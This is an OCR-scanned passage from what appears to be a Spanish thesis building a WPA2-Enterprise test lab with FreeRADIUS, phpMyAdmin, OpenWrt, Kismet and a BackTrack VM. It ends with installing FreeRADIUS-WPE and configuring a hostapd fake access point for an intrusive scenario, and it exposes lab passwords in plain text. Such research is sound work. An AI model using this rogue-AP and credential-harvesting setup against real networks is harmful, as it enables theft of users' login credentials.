capacidad de ejecutar directamente cualquier sentencia de SQL.

>> espe14@ubuntu:~$ sudo —i
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[sudo] password for espe14: espetesis14

>> root@ubuntu:~# apt-get install apache2 phpmyadmin

Se selecciona las opciones que se muestran y <Ok>

Package configuration

{ Configuring phpmyadmin }
Please choose the web server that should be automatically configured to
run phpMyAdmin.

Web server to reconfigure automatically:

[*] apache2
[ 1 lighttpd

Figura. 41 Configuracion phpmyadmin

Se despliega un mensaje sugiriendo la instalacion de una base de dato,
sin embargo como ya se han creado en la seccion de MySQL se descarta y

se selecciona <No>
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Package configuration

{ Configuring phpmyadmin }

The phpmyadmin package must have a database installed and configured
before it can be used. This can be optionally handled with
dbconfig-common.

If you are an advanced database administrator and know that you want to
perform this configuration manually, or if your database has already
been installed and configured, you should refuse this option. Details
on what needs to be done should most likely be provided in
/usr/share/doc/phpmyadmin.

Otherwise, you should probably choose this option.

Configure database for phpmyadmin with dbconfig-common?

<Yes> No>

Figura. 42 Descartar la creacion de DB

Se verifica la instalacion de phpMyAdmin ingresando al navegador. Se
pone: la direccion /P del servidor/phpmyadmin (192.168.1.12/phpmyadmin/)
y se ingresa el Username (root) y Password (espei4). Esto se muestra a

continuacion.

eono phpMyAdmin "
Ll bt 2 192.168.1.12 [ J
(] 5 BP MLE MIESPE Facebook Pinterest El Comercio Twitter THEGUARDIAN ECUADORTV YouTube Maps Translate Find! Apple in inR MiM MLEC OXLEC »

Welcome to phpMyAdmin

Language
English
Login

Username:
root

Password:

Go

Figura. 43 Ingreso a phpmyadmin

La pagina de inicio muestra informacion la base de datos creada en el

capitulo de MySQL, si todo se hizo correctamente, esta deberia mostrarse
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en el lado izquierdo con el nombre de radius junto con todas las tablas

necesarias para administrar el servidor RADIUS.

php

8 3 @ 3

-

(Recent tables) ..

nformation_schema
mysql

+- -+

performance_schema

- radius

o New
nas
radacct
radcheck
radgroupcheck
radgroupreply
radippool
radpostauth
radreply

AR Amt dmb dmb dut St St St ¥

radusergroup

Figura. 44 tablas y DB radius

Adicional, se puede ver informacién util sobre nuestra base de datos en
el lado derecho, como por ejemplo: el tipo y version instalada de la base de

datos o la del servidor web, etc.

Lecalhost via UNIX socket
MySQL

on: 5.5.37-0ubuntu0.14.04.1 - (Ubuntu)

R K o) -

Server charset: UTF-8 Unicode (utf8)

e Apache/2.4.7 (Ubuntu)

e Database chent v bmysql - 5.5.37

¢ PHP extension: mysqli &)

Figura. 45 Informacién del Servidor DB y web

Desde phpMyAdmin se va a administrar nuestra base de datos MySQL

para gestionar el servidor de autenticacion.
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A continuaciéon, se va a establecer comunicacién con el equipo NAS
(Network Access Server). NAS es un dispositivo que proporciona un cierto
nivel de acceso a una red mas grande. Un NAS utilizando una
infraestructura RADIUS es también un cliente RADIUS, enviando solicitudes
de conexion y mensajes de cuentas a un servidor RADIUS para la

autenticacion, autorizacion y contabilidad.

Los equipos cliente, como los ordenadores portatiles inalambricos u otros
equipos con sistemas operativos, no son clientes de RADIUS. Clientes de
RADIUS son servidores de acceso a la red, tales como puntos de acceso
inalambrico (AP), conmutadores compatibles con 802.1X, redes privadas
virtuales (VPN) y servidores dial-up, esto porque utilizan protocolos RADIUS

para comunicarse con servidores RADIUS.

Después de aclarar o que es un equipo NAS en una red, la informacién
que se debe llenar para este escenario de prueba se muestra en la siguiente

figura:

A Server: locahost » @ Database: radius ~ [} Table: nas

Browse ¥ Structure | SQL v Search i§-5 Insert «s Export -+ Import Operations Triggers

o Showing rows 0 - 0 (1 total, Query took 0.0008 sec)

SELECT *
FROM nas
LIMIT O, 30
Profiling [ Inline ) [ Edit ] [ Explain SQL )
Show : Start row: | ( Number of rows:  3( Headers every | 100 | rows
Optic
i ¥ id nasname shortname type ports secret server community description
#* @ Delete 1/192.168.1.1 tesis14 other 1812 asttro14  NULL NULL RADIUS Client

Check A wWith selected .~ Change = ] Delete - Export

Figura. 46 Parametros para NAS

Se selecciona la base de datos radius, se escoge la tabla nas y se
puebla la informacién requerida como se muestra en la figura de Parametros
para NAS.
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Se continua con la tabla de radcheck en la base de datos radius. Es aqui
donde se establecen los usuarios que tiene permitido el ingreso a nuestra

red. Se muestra en la siguiente figura.

[Tl Server: localhost » @ Database: radius » [l Table: radcheck

-| Browse ¥ Structure || SQL 4, Search :'3!--3 Insert |« Export |si Import V--" Operations 2= Triggers
« Showing rows 0 - 2 (3 total, Query took 0.0008 sec)
SELECT *

FROM radcheck’
LIMIT O, 30

(JProfiling [ Inline ] [ Edit ] [ Explain SQL )

Show : Startrow: 0 Number of rows: |30 | Headers every | 100 | rows

Sort by key: | None v
+ Options
FTH ¥ id username attribute op value
& Edit 3c Copy @ Delete 1 usuarioa |Password = |clavea
() ¢ Edit 3 Copy @ Delete 2 usuariob | Password = |claveb
& Edit 3¢ Copy @ Delete 3 usuarioc |Cleartext-Password := |clavec
t Check All With selected: ¢ Change @ Delete s Export

Figura. 47 Parametros para radcheck

Se comprueba que los datos ingresados para en la tabla radcheck
funcionan correctamente. Se utiliza como ejemplo, el username: usuarioa

con value: clavea y atributo: Password
En la linea de comando se ingresa la siguiente instruccion:

>> espe14@ubuntu:~$ sudo —i
[sudo] password for espe14: espetesis14
>> root@ubuntu:~# /etc/init.d/freeradius start

>> root@ubuntu:~# radtest usuarioa clavea localhost 1812 testing123

Si la autenticacidon de este usuario es exitosa (Access-Accept), entonces

se tiene la siguiente figura que demuestra que todo esta funcionando

correctamente:
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Sending Access-Request of id 62 to 127.0.0.1 port 1812
User-Name = "usuarioa"
User-Password = "clavea"
NAS-IP-Address = 127.0.1.1
NAS-Port = 1812
Message-Authenticator = 0x00000000000000000000000000000000
rad_recv: Access-Accept packet from host 127.0.0.1 port 1812, id=62, length=20

Figura. 48 Comprobacion de acceso con radtest

24 AP (Real) / OpenWrt

El punto de acceso (AP) de nuestra red, es fundamental para cumplir con
el estandar 802.11i. Este es, como se ha estudiado, el autenticador. Para el
escenario de prueba, se ha propuesto la utilizacion de la tarjeta Alix2D2 para

este fin.

Esta tarjeta, tiene instalado un sistema operativo llamado OpenWrt de
distribucion libre, que esta basado en Linux para hacer el enrutamiento del
trafico en una red, este OS (Operative System) ha sido optimizado para ser
lo mas liviano posible con la finalidad de que pueda funcionar en espacios

de memoria limitados, como en este caso el AP.

La caracteristicas mas atractivas del OpenWrt, es que nos permite la
libertad de instalar mas de 3500 paquetes de software alternativos a través
del sistema de administracion de paquetes (opkg). Como se puede apreciar,
esto nos concedera mas adelante, la posibilidad de instalar un software
analizador de paquetes, detector de redes e intrusos para redes LAN

inalambricas 802.11 en la capa de enlace, este software se llama Kismet.
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Figura. 49 Tarjeta Alix2d2 con sus elementos

Los siguientes comandos son recomendados para el O6ptimo
funcionamiento de las tarjeta wireless, ademas de la actualizacion del

software OpenWrt que esta instalado en el AP.

Primero, se ingresa al punto de acceso por medio del protocolo de ssh.

>> ssh root@192.168.1.1

root: es el nombre del usuario del AP.

192.168.1.1: es la direccion IP del access point

Se solicitara la clave (password) del AP, se ingresa la misma y se da
enter.

Last login: Sun Jun 22 12:50:41 on ttys000
Andres-MacBook-Pro:~ andrestroya$ ssh root@192.168.1.1
root@192.168.1.1's password:

Figura. 50 SSH al AP

Al ingresar, se tiene la siguiente figura:
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BusyBox v1.15.3 (2011-07-14 17:03:04 CEST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

—
I
B T T S

|__| WIRELESS FREEDOM
Backfire (10.03.1-RC5, r27608) - —_—— -

* 1/3 shot Kahlua In a shot glass, layer Kahlua
* 1/3 shot Bailey's on the bottom, then Bailey's,
* 1/3 shot Vodka then Vodka.

root@penvrt:~# [
Figura. 51 AP login via terminal

>>root@OpenWrt:~# opkg update

>>root@OpenWrt:~# opkg install kmod-madwifi

>>root@OpenWrt:~#rm —f /etc/config/wireless; wifi detect >
/etc/config/wireless

El esquema a instalar en esta dispositivo es el siguiente:

M‘
R

AP (Real)/OpenWrt
Figura. 52 AP (Real)/OpenWrt

2.41 Configuracion del AP

Ingresando al navegador se pone: la direccion IP del AP (192.168.1.1) y
se ingresa el Username (root) y Password (espetesis2012) como se muestra

continuacion.
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o

OpenWrt - LuCl A
@ 192.168.1.1

MIESPE ' Facebook | Pinterest (€l Comercio | Twittar, | THE CUARDIAN | [ECUADORTV_ \YouTubs | Maps ) Transiata', Findl| | Apple (in | {InR |MIM|_ MUEC [/OXLEC |}

Authorization Required

Please enter your username and password.

Username

Password

Dreset] ([@iogin

Figura. 53 Ingreso a OpenWrt via web

Configuracion de la interfaz WAN (eth1):

Protocol: DHCP
DNS-Server: 8.8.8.8

L i Wifi DHCP and DNS Static Routes Firewall Di
WAN LAN

Interfaces - WAN

On this page you can configure the network interfaces. You can bridge several interfaces by ticking the "bridge interfaces" field and enter the names of several network interfaces separated by spaces.

Common Configuration
General Setup

Status

Uptime: 2h 59m 40s
+/ MAC Address: 00:0d:b9:19:66:15
“° RX: 7240.73 KB (12898 Pkts.)
ethl 1X: 6500.37 KB (13291 Pkts.)
1Pv4: 10.0.1.17/24
Protocol

@ You need to install “comgt" for UMTS/GPRS, "ppp-
PPtP support
DNS-Server B888 )}

@ You can specify multiple DNS servers here, press enter to add a new entry. Servers entered here will override
automatically assigned ones.

pppoe” for PPPOE, "ppp- pppoa” for PPPoA or "pptp" for

Figura. 54 Interfaz-WAN

Configuracion de la interfaz LAN (br-lan):

Protocol: static

IPv4-Address: 192.168.1.1
IPv4-Netmask: 255.255.255.0
DNS-Server: 8.8.8.8
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Interfaces | Wifi DHCPand DNS  Hostnames  Static Routes  Firewall  Diagnostics

WAN LAN

Interfaces - LAN

On this page you can configure the network interfaces. You can bridge several interfaces by ticking the “bridge interfaces” field and enter the names of several network interfaces separated by spaces.
You can also use VLAN notation INTERFACE.VLANNR (€.g.: eth0.1).

Common Configuration
General Setup
Status Uptime: 3h 3m 49s
(s MAC Address: 00:0d:b9:19:66:14
RX: 7297.84 KB (21599 Pkts.)
brlan yx: 7655.74 KB (14212 Pkts.)
1Pv4: 192.168.1.1/24

@ You need to install *comgt" for UMTS/GPRS, “ppp pppoe” for PPPOE, "ppp-mod-pppoa" for PPPoA or "pptp" for
PPtP support

1Pv4-Address [192.168.1.1

IPv4-Netmask 255.255.255.0 3

IPv4-Gateway I ]

IPv4-Broadcast [ ]

DNs-Server Bsss )
@ You can specify multiple DNS servers here, press enter to add a new entry. Servers entered here will override
automatically assigned ones.

Figura. 55 Interfaz-LAN

Configuracion de la interfaz Wireless Master (wifi0) :

ESSID: tesis14
Mode: Access Point

Network: lan

Interfaces = Wifi DHCP and DNS Hostnames  Static Routes Firewall Diagnostics.

: Master "tesis14"

wifil: Monitor "Wireless2" | wifi

Wireless Network: Master "tesis14" (ath0)

The Device Configuration section covers physical settings of the radio hardware such as channel, transmit power or antenna selection which is shared among all defined wireless networks (if the radio
hardware is multi-SSID capable). Per network settings like encryption or operation mode are grouped in the Interface Configuration.

Device Config]uration
General Setup |

Status Mode: Master | SSID: tesis14
BSSID: 00:1B:B1:00:00:89 | Encryption: WPA2 PSK (CCMP)
Channel: 2 (2.417 GHz) | Tx-Power: 0 dBm
0% signal: -96 dBm | Noise: -96 dBm
Bit Rate: 0.0 MBit/s | Country: 00

Enable device

i@.

Channel

Transmit Power 0 dBm (1 mW) +
© dBm

Interface Configuration

General Setup ’-g | | I I |

ESSID fesis1a ]

Mode Access Point v

Network ( WAN

@® lan: 2@

unspecified -or- create: [ ]

@ choose the network you want to attach to this wireless interface. Select unspecified to not attach any network or fill out
the create field to define a new network.

Figura. 56 Interfaz-Wireless Master-General Setup

Encryption: WPA2-EAP
Radius-Server: 192.168.1.12
Radius-Port: 1812

Key: asttro14

NAS ID: 1812
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Interface Configuration
[retss secury ]| I |

Encryption
Radius-Server [192:168.1.12 ]
Radius-Port 1812 |
Key | EERTTTYYYN I¥-
NAS ID [1212 |

Figura. 57 Interfaz - Wireless Master — Wireless Security

Configuracion de la interfaz Wireless Monitor (wifi1) :

ESSID: wireless?2
Mode: Monitor

Network: unspecified-or-create

Esta interfaz en modo monitor nos servira para la captura de tramas y

paquetes que seran analizadas mediante el software Kismet-Drone.

e Tsvmen T senices T werweor T oo T

Interfaces | Wifi | DHCP and DNS  Hostnames  Static Routes  Firewall  Diagnostics

wifil: Monitor "Wireless2" | wifi0: Master “tesis14"

Wireless Network: Monitor "Wireless2" (ath1)

hardware is multi-SSID capable). Per network settings like encryption or operation mode are grouped in the Interface Configuration.

The Device Configuration section covers physical settings of the radio hardware such as channel, transmit power or antenna selection which is shared among all defined wireless networks (if the radio

Device Configuration
General Setup | |
Status

Mode: Monitor | SSID: Wireless2

BSSID: 00:1B:B1:00:00:AE | Encryption: WEP Open System (WEP-40, WEP-104)
Channel: 11 (2.462 GHz) | Tx-Power: 17 dBm

Signal: -96 dBm | Noise: -96 dBm

Bit Rate: 0.0 MBit/s | Country: 00

0%

Enable device ~

Channel 11 (2.462 GH2) 2

Transmit Power 17 dBm (50 mW) 3
@ dBm

Interface Confi

iguration
General Setup

ESSID [Wireless2 |
Network WAN: *
lan: ;o @&

@ unspecified -or- create: [_____]

the create field to define a new network.

Figura. 58 Interfaz-Wireless Monitor-General Set up

Configuracion del firewall para habilitar servicios de internet a la red:

Name: Internet
Input: accept
Output: accept
Forward: accept

Covered networks: WAN, lan

@ Choose the network you want to attach to this wireless interface. Select unspecified to not attach any network or fill out
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status || System || Services | Network Logout

Interfaces  Wifi _ DHCP and DNS  Hostnames _ Static Routes  Firewall | Diagnostics

Firewall - Zone Settings

Zone "internet”
T e while the forward option describes the policy for forwarded traffic

™ lan: (empty)
wan: (empty)
4
~

lan: (empty)
‘wan: (empty)

Figura. 59 Configuracion Firewall

2.4.2 Kismet

Kismet se diferencia de otros detectores de red inalambrica en el trabajo
de forma pasiva. Es decir, sin enviar ningun paquete de autenticacion, es
capaz de detectar la presencia de AP y clientes wireless, ademas de la
capacidad de asociarlos entre ellos. También, es la herramienta mas

utilizada para el monitoreo inalambrico de codigo abierto.

Este software tiene la capacidad de registrar todos los paquetes de
redes inalambricas disponibles, capturarlos y guardarlos en un formato de
archivo compatible con Wireshark o Airsnort. A mas de esto, permite

determinar el nivel de encriptacion usado por los AP detectados.

Kismet se puede utilizar de tres maneras: La primera, como sensor
Kismet-Drone para recoger los paquetes y enviarlos hacia un servidor para
su analisis; La segunda, Kismet-Server puede ser utilizado en conjunto con
Kismet-Drone, esto para el analisis de paquetes capturados y almacenados
de las redes inalambricas y Finalmente, Kismet-Client que se comunica con
el servidor para visualizar por medio de una interfaz amigable la informacién

que el servidor recoge.
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La instalacion de Kismet-Drone en el OpenWrt se realiza con los

siguientes comandos:

>>root@OpenWrt:~# opkg update
>>root@OpenWrt:~# opkg install kismet-drone
>>root@OpenWrt:~# vi kismet_drone.conf
version=newcore. 1

servername=drone1
dronelisten=tcp://192.168.1.1:2502
droneallowedhosts=192.168.1.12
dronemaxclients=1

droneringlen=65535

gps=false

ncsource=wifi1:type=Madwifi
channelvelocity=5
channellist=IEEE80211b:1:3,6:3,11:3,2,7,3,8,4,9,5,10

# Kismet drone config file
version=newcore.1l

# Name of drone server (informational)
servername=dronel

# Drone configuration

# Protocol, interface, and port to listen on
dronelisten=tcp://192.168.1.1:2502

# Hosts allowed to connect, comma separated. May include netmasks.
# allowedhosts=127.0.0.1,10.10.10.0/255.255.255.0
droneallowedhosts=192.168.1.12

# Maximum number of drone clients

dronemaxclients=1

droneringlen=65535

# Do we have a GPS?
gps=false

Figura. 60 kismet_drone.conf

>>root@OpenWrt:~# kismet_drone
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root@openvirt:~# kismet_drone

ERROR: Kismet was started as root, NOT launching external control binary. This
is NOT the preferred method of starting Kismet as Kismet will continue
to run as root the entire time. Please read the README file section
about Installation & Security and be sure this is what you want to do.

INFO: Reading from config file /etc/kismet/kismet_drone.conf

INFO: Plugin system disabled by Kismet configuration file or command line

INFO: Setting drone connection buffer to 65535 bytes

INFO: Kismet will attempt to hop channels at 5 channels per second unless
overridden by source-specific options

INFO: No specific sources named on the command line, sources will be read from
kismet.conf

INFO: Using default channel list 'IEEE80211b' on source 'wifil'

INFO: Source 'wifil' will attempt to create and use a monitor-only VAP instead
of reconfiguring the main interface

ERROR: Packetsource::MadWifi - Unknown source type 'Madwifi'. Will treat it as
auto radio type

INFO: Created source wifil with UUID 479754be-3ae3-11df-bbb7-2104921ee@0l

INFO: Will attempt to reopen on source 'wifil' if there are errors

INFO: Created TCP listener on port 2502

INFO: Starting GPS components...

INFO: GPS support disabled in kismet.conf

INFO: Kismet drone starting to gather packets

INFO: Madwifi source wifil created monitor-mode VAP wifil::kis@.

ERROR: Source 'kis®' doesn't have mac80211 support, disabling VAP creation of
default monitor mode VAP

INFO: Interface 'kis®@' is already marked as being in monitor mode, leaving it
as it is.

INFO: Started source 'wifil’

Figura. 61 Ejecucion de kismet_drone

La instalacion de Kismet-Server + Client en el servidor RADIUS se

realiza con los siguientes comandos:
>> espe14@ubuntu:~$ sudo —i
[sudo] password for espe14.: espetesis14

>> root@ubuntu:~# apt-get install kismet

Se selecciona <Ok> en la ventana que se muestra a continuacion:
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Package configuration

i Configuring kismet |

Kismet needs root privileges for some of its functions. However, running
it as root ("sudo kismet") is not recommended, since running all of the
code with elevated privileges increases the risk of bugs doing
system-wide damage. Instead Kismet can be installed with the "setuid"
bit set, which will allow it to grant these privileges automatically to
the processes that need them, excluding the user interface and packet
decoding parts.

Enabling this feature allows users in the "kismet" group to run Kismet
(and capture packets, change wireless card state, etc), so only
thoroughly trusted users should be granted membership of the group.

For more detailed information, see section 4 of the Kismet README
("Suidroot & Security"), which can be found at

<0k>

Figura. 62 Configuracion Kismet-Server

Se habilita el usuario al grupo Kismet para su utilizacion:

Package configuration

{ Configuring kismet
Only users in the kismet group are able to use kismet under the setuid
model.

Please specify the users to be added to the group, as a space-separated
list.

Note that currently logged-in users who are added to a group will
typically need to log out and log in again before it is recognized.

Users to add to the kismet group:

<0k>

Figura. 63 Configuracion Kismet-Server usuario

Se realiza las configuraciones necesarias para establecer Ia

comunicacion entre Kismet — Server y Kismet-Drone:

>> root@ubuntu:~# cd /etc/kismet/



>> root@ubuntu: /etc/kismet# nano kismet_drone.conf

version=newcore. 1

servername=drone1
dronelisten=tcp://192.168.1.1:2502
droneallowedhosts=192.168.1.12

dronemaxclients=1

droneringlen=65535

gps=false

ncsource=ethO

channelvelocity=5
channellist=IEEE80211b:1:3,6:3,11:3,2,7,3,8,4,9,5,10

GNU nano 2.2.6 File: kismet_drone.conf

# Kismet drone config file
version=newcore.l

# Name of drone server (informational)
servername=dronel

# Drone configuration

# Protocol, interface, and port to listen on
dronelisten=tcp://192.168.1.1:2502

# Hosts allowed to connect, comma separated. May include netmasks.
# allowedhosts=127.0.0.1,10.10.10.0/255.255.255.0
droneallowedhosts=182.168.1.12

# Maximum number of drone clients
dronemaxclients=1

droneringlen=65535

# Do we have a GPS?
gps=falsell

Get Help ¢ WriteOut i Read File Prev Page gt Cut Text 8 Cur Pos
{ Exit 2 Justify Where Is Next Page UnCut Text To Spell

Figura. 64 Configuracién kismet_drone.conf

>> root@ubuntu: /etc/kismet# nano kismet.conf

servername=Server

allowplugins=false
ncsource=drone:host=192.168.1.1,port=2502
listen=tcp://192.168.1.12:2501
allowedhosts=192.168.1.0/24

63



gps=false

writeinterval=60

GNU nano 2.2.6 File: kismet.conf Modified

Kismet config file

Most of the "static" configs have been moved to here -- the command line
config was getting way too crowded and cryptic. We want functionality,
not continually reading —--help!

# R HR

# Version of Kismet config
version=2009-newcore

# Name of server (Purely for organizational purposes)
# If commented out, defaults to host name of system
servername=Server

Prefix of where we log (as used in the logtemplate later)
logprefix=/some/path/to/logs

# #

Do we process the contents of data frames? If this is enabled, data
frames will be truncated to the headers only immediately after frame type
detection. This will disable IP detection, etc, however it is likely
safer (and definitely more polite) if monitoring networks you do not own.

Get Help { WriteOut i Read File Prev Page g Cut Text Cur Pos
{ Exit Justify A Where Is Next Page UnCut Text To Spell

Figura. 65 Configuracién kismet.conf

# R

>> root@ubuntu: /etc/kismet# cd

>> root@ubuntu:~# kismet

View Windows

v

ot
Connected

Figura. 66 Ejecucion de Kismet Server [yes]

64
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Connected

[ =——— No clients
o GPS info (GPS no
[X] Logging

Log Title

w Conso

[ Start ]

INFO: cap loag n PPI format
INFO: mp Llog
INFO: )ENE L log f
INFO: nE

INFO:

INFO:

INFO:

INFO:

INFO:

INFO: et -one client connected to remote server "dronel" using

INFO: Ng D Ca S temporarily disabled until

INFO: new ma € network "te 14", BSSID 00:1B:B1:00:00:89,
yption ye annel 54.00 mbit
INFO: De { ) ork "TITANIUM Guest", BSS
1, 54.00 mbit
INFO: New "k "TITANIUM AirPort", B
el 1, 54.00 mbit

Server [ Close Console Window |

Figura. 68 Ejecucion de Kismet Server [Close Console Window]



WSEQIRd Sort View Windows
Kismet
ot
Connected

Add Sourc 5
Config Channel...

Plugins
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Figura. 70 Ejecucion de Kismet Server Connect to Server [Connect]
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i Kismet Sort View Windows

! tesisl4
Elapsed
00:02.29

1K Unknown Networks

B Packets Packets
803

Pkt/Sec
[ [ 15

Filtered

Figura. 71 Conexion Kismet Server establecida

Tabla. 3
Detalle de los componentes en la ventana Kismet
Name Significado T Significado C Significado Ch Pkts Size
Actividad en los ultimos . ”
!
[ 3 segundos [A] |Punto de acceso [Y] |Encriptacion WEP Tamario de
S - Canal de |Numero de
Actividad en los ultimos . ) ” - los
[.1] [H] |Modo ad-hoc [N] |Sin encriptacion operacion | paquetes
6 segundos paquetes
Grupo de redes Otro tipo de delared jcapturados capturados
[ 1 |Nohay actividad G =P [0] 1ipo d P
wireless encriptacion
Encriptada [P] PISpOSItIVO en :nodo
probe request

Sin encriptacion
Propio gateway

2.5 BT5r3-Hacker-VM2

BackTrack es una distribucion de GNU/Linux, pensada y disefiada para
la auditoria relacionada con la seguridad informatica en general. Esta
herramienta nos permite analizar el comportamiento de la red en el caso de
un escenario de prueba normal y ademas, realizar los ataques para probar y
vulnerar la seguridad del estandar 802.71/ en el caso del escenario de

prueba intrusivo.

Para esta maquina virtual, se instala la version de BackTrack (BT5r3)
distribuida por Ubuntu (10.04.3 LTS) de 32 bits de nombre codigo: lucid. Una
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vez instalada, se debe ingresar los siguientes comandos para ingresar a

BT5:

bt login: root
Password: toor
>>root@bt:~# startx

Applications Places System (=] Tue Jun 24, 9:53 AM

g

Install BackTrack

Figura. 72 Ventana de inicio BT5

El esquema a preparar en esta maquina virtual es el siguiente:

BT5r3 - Hacker - VM2

‘*' Freeradius - WPE

Hostapd - AP .
- (Falso) AirPcap Nx
Wireshark 1 Wireshark 2 '§
eth0 mon0 ‘

Figura. 73 BT5r3-Hacker-VM2

BackTrack proporciona a los usuarios un facil acceso a una coleccion

completa y amplia de herramientas relacionadas con la seguridad, estas se

encuentran pre instaladas como por ejemplo: Wireshark y Kismet. Adicional,
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BTS es totalmente compatible con el chipset y driver de las tarjetas AirPcap
Nx, tal como se menciono en el capitulo de: Tarjetas AirPcap Nx Adapter.
Por esta facilidad, en este capitulo el enfoque es exclusivamente en la

instalacion y configuracion de Freeradius-WPE 'y Hostapd.

2.5.1 FreeRADIUS-WPE

FreeRADIUS-WPE (Wireless Pwnage Edition) es un parche para el
popular servidor de cdédigo abierto FreeRADIUS para demostrar la
vulnerabilidad de suplantacién en RADIUS, este parche afiade las siguientes

funcionalidades:

* Simplifica la configuracion de FreeRADIUS anadiendo todas las

direcciones RFC1918 como dispositivos NAS aceptables.

* Facilita la configuracion de la autenticacion EAP mediante la inclusion
de todos los tipos EAP soportados por FreeRADIUS.

* Agrega credenciales de autenticacion para los multiples tipos de EAP,
incluyendo: PEAP, TTLS, TLS, LEAP, EAP-MD5, EAP-MSCHAPv2, PAP,
CHAP, entre otros.

El proceso de instalacion es el siguiente:

>>root@bt:~# wget ftp./ftp.freeradius.org/pub/radius/old/freeradius-
server-2.1.12.tar.bz2

>>root@bt:~# wget https://raw.github.com/brad-anton/freeradius-
wpe/master/freeradius-wpe.patch

>>root@bt:~# tar -jxvf freeradius-server-2.1.12.tar.bz2

>>root@bt:~# cd freeradius-server-2.1.12

>>root@bt:~/freeradius-server-2.1.12# patch -p1 < /root/freeradius-

wpe.patch



>>root@bt:
>>root@bt:
>>root@bt:

Si todo fue

continuacion:

>>root@bt:

>>root@bt:

70

~/freeradius-server-2.1.12# ./configure
~/freeradius-server-2.1.12# make && make install

~/freeradius-server-2.1.12# Idconfig

instalado correctamente, se deberia ver lo que se muestra a

~/freeradius-server-2.1.12# radiusd —v

w, built on"Jun

s of FreeRADIUS under the terms of

t these matters, see the file named COPYRIGHT.

gura. 74 FreeRADIUS-WPE instalado

~/freeradius-server-2.1.12# cd

>>root@bt:~# radiusd -X
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2.5.2 Hostapd - AP (Falso)

Es un daemon que sirve para crear puntos de acceso (AP) y servidores
de autenticacion. Aplica el estandar IEEE 802.11 para la gestion del punto
de acceso, IEEE 802.1X/WPA/WPAZ2/EAP para el protocolo de seguridad,
cliente y servidor de autenticacidn RADIUS. La versién actual soporta Linux
(Host AP, MadW/iFi), entre otros.

La instalacion se muestra a continuacion:

>>root@bt:~# wget http.//hostap.epitest.fi/releases/hostapd-2.0.tar.gz
>>root@bt:~# tar -zxvf hostapd-2.0.tar.gz

>>root@bt:~# cd hostapd-2.0/

>>root@bt:~/ hostapd-2.0# cd hostapd/

>>root@bt:~/ hostapd-2.0/hostapd# cp defconfig .config
>>root@bt:~/ hostapd-2.0/hostapd# apt-get install libnl-dev
>>root@bt:~/ hostapd-2.0/hostapd# apt-get update

>>root@bt:~/ hostapd-2.0/hostapd# apt-get install libssl-dev
>>root@bt:~/ hostapd-2.0/hostapd# make && make install

Se continua con la configuracién del AP (Falso). Este access point se

utilizara cuando se realice el estudio en el escenario de prueba intrusivo.

>>root@bt:~/hostapd-2.0/hostapd# nano hostapd.conf

interface=wlan0
driver=n180211

ssid=tesis14

logger_stdout=-1
looger_stdout_level=0
dump_file=/tmp/hostapd.dump
ieee8021x=1



eapol_key_index_workaround=0
own_ip_addr=127.0.0.1
auth_server_addr=127.0.0.1
auth_server _port=1812

auth_server_shared_secret=testing123

wpa=2
wpa_key _mgmt=WPA-EAP
channel=11

wpa_pairwise=TKIP CCMP

GNU nano 2.2.2 File: hostapd-2.8/hostapd/hostapd.conf

roup name or gia.

P

i confiquration SRSSSRSSSNSSRNESRNEEREERREERNERRNERRIES
802.11 management frames

nfiguring SSID

nexaump, printi-esc:

SSID 15 to be Interpretéd using UTF-8iencoding

E WriteQut
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Si los parametros se han llenado correctamente, se deberia ver lo que se

muestra a continuacion:

>>root@bt:~/hostapd-2.0/hostapd# cd
>>root@bt:~# hostapd hostapd-2.0/hostapd/hostapd.conf
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7.0.0.1:1812

Figura. 77 Ejecutar hostapd

2.6 Instalacion de los certificados en los suplicantes

Como se explico en capitulos anteriores, fueron creados los certificados
en el servidor mediante la utilizacibn de OpenSSL, los mismos que se
encuentran almacenados en el directorio PKI, y que deben ser extraidos

para ser instalados en cada uno de los suplicantes

Para poder seguir con este procedimiento, primero se debe montar un
dispositivo extraible donde se copiaran los certificados, para esto es

necesario realizar el siguiente procedimiento:

>> espe14@ubuntu:~$ sudo —i
[sudo] password for espe14: espetesis14
>> root@ubuntu:~# cd /media

>> root@ubuntu:/media# mkdir usb

Creado el directorio se procede a montar el dispositivo extraible con el

siguiente comando:

>> root@ubuntu:/media# mount -t vfat /dev/sdxX /media/usb
Para comprobar que el disco se encuentra listo para ser utilizado, se
accede al mismo con el siguiente comando, de ser correcto se podra

observar la informacién que contiene el mismo:

>> root@ubuntu:/media # cd /usb

>> root@ubuntu:/media/usb# Is -/

Los certificados se encuentran dentro del directorio /etc/ssl/PKI, y se

accede mediante el siguiente comando:
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>> root@ubuntu:~# cd /etc/ssl/PKI

>> root@ubuntu./etc/ssl/PKI# cp cacert.pem
/etc/freeradius/certs/cacert.pem

>> root@ubuntu./etc/ssl/PKI# cp client_cert.pem
/etc/freeradius/certs/client_cert.pem

>> root@ubuntu./etc/ssl/PKI# cp client_key.pem
/etc/freeradius/certs/client_key.pem

>> root@ubuntu./etc/ssl/PKI# cp
client_cert.p12/etc/freeradius/certs/client_cert.p12

Una vez finalizado el proceso de copiar los certificados dentro del
dispositivo extraible, se procede a comprobar si se encuentran dentro, y

finalmente se desmonta el dispositivo:

>> root@ubuntu:~# cd /media/usb
>> root@ubuntu:/media/usb# Is -/

>> root@ubuntu: /media/usb# umount /media/usb
2.6.1 Instalacion de certificados en Windows

A continuacion se presenta el procedimiento para la instalacion de
certificados para un suplicante Windows, en este caso se realizé sobre un

sistema operativo Windows 7, que en general es el mas utilizado.

Se copian los cuatro archivos dentro del disco C, como se muestra en la

figura:



- @i

& » Equipo » Diso() b - Buscar Disco local (C:) pel

Organizar v Compartir con v Grabar Nueva carpeta =~ 01 @
¥ Favoritos Nombre ° Fecha de modifica... Tipo Tamafo
& Descargas 1. Archivos de programa (x86) 21/06/2014 14:05 Carpeta de archivos
Bl Escritorio J Dell 07/06/2014 16:50 Carpeta de archivos
1] Sitios recientes 1. DescargaAgente 12/06/2014 10:24 Carpeta de archivos
23 Dropbox 1 fsdg 08/06/2014 22:56 Carpeta de archivos
#& OneDrive 1 Intel 07/06/2014 17:31 Carpeta de archivos
. Perflogs 13/07/2009 22:20 Carpeta de archivos
4 Bibliotecas . Program Files 21/06/2014 14:03 Carpeta de archivos
@ Documentos 1. Usuarios 08/06/2014 13:00 Carpeta de archivos
[&5] Imagenes E 1) Windows 21/06/2014 14:06 Carpeta de archivos
o Musica 1. Windows.old 08/06/2014 6:09 Carpeta de archivos
B videos |_| cacert.pem 06/06/2014 12:42 Archivo PEM 5KB
E client_cert 06/06/2014 12:42 Personal Informati... 4KB
